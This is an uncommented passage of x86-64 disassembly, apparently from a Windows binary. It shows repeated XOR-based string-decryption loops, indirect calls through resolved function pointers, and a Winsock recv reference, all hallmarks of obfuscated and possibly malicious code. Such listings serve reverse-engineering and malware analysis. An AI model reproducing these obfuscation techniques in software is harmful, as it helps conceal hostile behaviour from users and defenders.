pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140024593
lea r9, [rbp + 0x90]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140024560
call fcn.140039b70
mov rbx, rax
call fcn.140029720
mov ecx, eax
call rbx
movabs rax, 0xed7c311d1d7263f5
mov qword [rbp + 0x150], rax
movabs rax, 0x808012dcc318690a
mov qword [rbp + 0x158], rax
movabs rax, 0x85e23ef02b851b7
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], r12
movabs rbx, 0x82185f744a2e59b6
mov qword [rbp + 0xc8], rbx
movabs r12, 0xe5f461a5b0441a7d
mov qword [rbp + 0xd0], r12
movabs rax, 0x783f55815e8a62da
mov qword [rbp + 0xd8], rax
movabs rax, 0x4f6c2eea6262de6d
mov qword [rbp + 0xe0], rax
movups xmm1, xmmword [rbp + 0xc8]
movups xmm2, xmmword [rbp + 0xd8]
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
xorps xmm1, xmm2
movdqa xmmword [rbp + 0x510], xmm1
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x500]
call fcn.1401750d4
test eax, eax
je 0x140024767
lea rcx, [rbp + 0x3d0]
call fcn.140017f10
movabs rax, 0xed7c311d1d7263f5
mov qword [rbp + 0x150], rax
movabs rax, 0x808012dcc318690a
mov qword [rbp + 0x158], rax
movabs rax, 0x85e23ef02b851b7
mov qword [rbp + 0x160], rax
movabs rax, 0x4f00428e4c56e804
mov qword [rbp + 0x168], rax
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], r12
movabs rax, 0x783f55815e8a62da
mov qword [rbp + 0xd8], rax
movabs rax, 0x4f6c2eea6262de6d
mov qword [rbp + 0xe0], rax
movups xmm1, xmmword [rbp + 0xc8]
movups xmm2, xmmword [rbp + 0xd8]
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x4e0], xmm0
xorps xmm2, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x4f0], xmm2
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x3d0]
call fcn.1400358b0
nop
mov r8d, 0x73a3c0
lea rdx, [0x1401c8400]
lea rcx, [rbp + 0x3d0]
call fcn.14001a0e0
lea rcx, [rbp + 0x3d0]
call fcn.140019ea0
nop
lea rcx, [rbp + 0x3d0]
call fcn.140017e70
call fcn.14003bd20
mov rcx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140024779
mov rcx, qword [rsi]
xor edx, edx
call rax
test rax, rax
jne 0x1400248a8
call fcn.140039860
mov rbx, rax
mov ecx, dword [0x1409822ac]
mov dword [rbp + 0x88], ecx
cmp byte [0x1409822af], 0
je 0x140024893
cmp r13d, 2
jl 0x140024848
movdqa xmm3, xmmword [0x140986240]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1409865e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1409865e0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140986430]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rbp + 0x88], xmm2
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
jmp 0x140024767
lea r9, [rbp + 0x88]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140024860
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
jmp 0x140024767
call fcn.140039860
mov rbx, rax
mov ecx, dword [0x140982ce0]
mov dword [rbp + 0x90], ecx
movzx ecx, word [0x140982ce4]
mov word [rbp + 0x94], cx
mov byte [rbp + 0x90], Ordinal_50
xor byte [rbp + 0x91], 0x38
xor byte [rbp + 0x92], 0x39
xor byte [rbp + 0x93], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x94], cl
xor byte [rbp + 0x95], 0x3c
lea rcx, [rbp + 0x90]
call fcn.1401753dc
mov ecx, eax
call rbx
cmp qword [rsi + 0x18], 0xf
jbe 0x140024910
mov rsi, qword [rsi]
cmp dword [r15 + 0x38], 0
je 0x140024922
cmp dword [r15 + 0x3c], 0
jne 0x140025054
test rsi, rsi
jne 0x14002494d
call fcn.14004a4c0
call rax
mov qword [r15 + 0x30], rax
call fcn.14004a7d0
call rax
mov dword [r15 + 0x38], eax
call fcn.14004aae0
call rax
mov dword [r15 + 0x3c], eax
jmp 0x140025054
call fcn.14003bd20
xor edx, edx
mov rcx, rsi
call rax
mov qword [r15 + 0x30], rax
test rax, rax
je 0x140024995
mov dword [rbp + 0x88], edi
call fcn.14003cc00
lea rdx, [rbp + 0x88]
mov rcx, qword [r15 + 0x30]
call rax
test eax, eax
je 0x140024995
mov ecx, dword [rbp + 0x88]
test ecx, ecx
je 0x140024995
mov dword [r15 + 0x38], eax
mov dword [r15 + 0x3c], ecx
jmp 0x140025054
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140982920]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140982930]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140982940]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140982950]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140982960]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140982970]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140982978]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140024b83
cmp r13d, 2
jl 0x140024b37
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140024b83
lea r9, [rbp + 0x90]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140024b50
cmp byte [rbp + 0x14b], 0
je 0x140024d23
mov r8d, edi
cmp r13d, 2
jl 0x140024cdd
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140024bd0
cmp r8d, 0x5c
jge 0x140024d23
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140024cf0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x140024ee3
mov r8d, edi
cmp r13d, 2
jl 0x140024e9d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140024d90
cmp r8d, 0x5c
jge 0x140024ee3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140024eb0
cmp byte [rbp + 0x97], 0
jne 0x140025043
cmp r13d, 2
jl 0x140025006
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140025043
lea r9, [rbp + 0x90]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140025010
call fcn.140039b70
mov rbx, rax
call fcn.140029720
mov ecx, eax
call rbx
mov r8, qword [r14 + 0x28]
lea rdx, [rsp + 0x68]
mov rcx, r15
call fcn.140048050
cmp qword [rsp + 0x68], 0
je 0x140025080
cmp qword [rsp + 0x70], 0
je 0x140025080
cmp dword [rsp + 0x78], 1
je 0x140025080
mov al, 1
jmp 0x140025082
xor al, al
test al, al
jne 0x140025744
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140982240]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140982250]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140982260]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140982270]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140982280]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140982290]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140982298]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140025273
cmp r13d, 2
jl 0x14002522c
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140025273
lea r9, [rbp + 0x90]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140025240
cmp byte [rbp + 0x14b], 0
je 0x140025413
mov r8d, edi
cmp r13d, 2
jl 0x1400253cd
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400252c0
cmp r8d, 0x5c
jge 0x140025413
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400253e0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x1400255d3
mov r8d, edi
cmp r13d, 2
jl 0x14002558d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140025480
cmp r8d, 0x5c
jge 0x1400255d3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400255a0
cmp byte [rbp + 0x97], 0
jne 0x140025733
cmp r13d, 2
jl 0x1400256f6
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140025733
lea r9, [rbp + 0x90]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140025700
call fcn.140039b70
mov rbx, rax
call fcn.140029720
mov ecx, eax
call rbx
mov qword [rbp + 0x128], rdi
lea rdx, [r14 + 0x78]
lea r8, [rbp + 0xf0]
lea rcx, [rbp + 0x1c0]
call fcn.140039570
nop
lea rcx, [rbp + 0x180]
call fcn.140036200
nop
lea rcx, [rbp + 0x190]
call fcn.140036200
nop
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0xb8], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xb8]
call fcn.1400356f0
nop
lea rcx, [rbp + 0x1d0]
call fcn.140029e10
lea r8, [rbp + 0x1c0]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movdqu xmmword [rbp - 0x60], xmm0
movabs rax, 0x8000000000000000
mov qword [rbp - 0x58], rax
movzx ecx, byte [r8]
mov edx, ecx
sub edx, 1
je 0x140025844
cmp edx, 1
je 0x140025836
sub ecx, 1
je 0x140025844
cmp ecx, 1
je 0x140025836
mov qword [rbp - 0x58], 1
jmp 0x14002584f
mov rax, qword [r8 + 8]
mov rcx, qword [rax + 8]
mov qword [rbp - 0x68], rcx
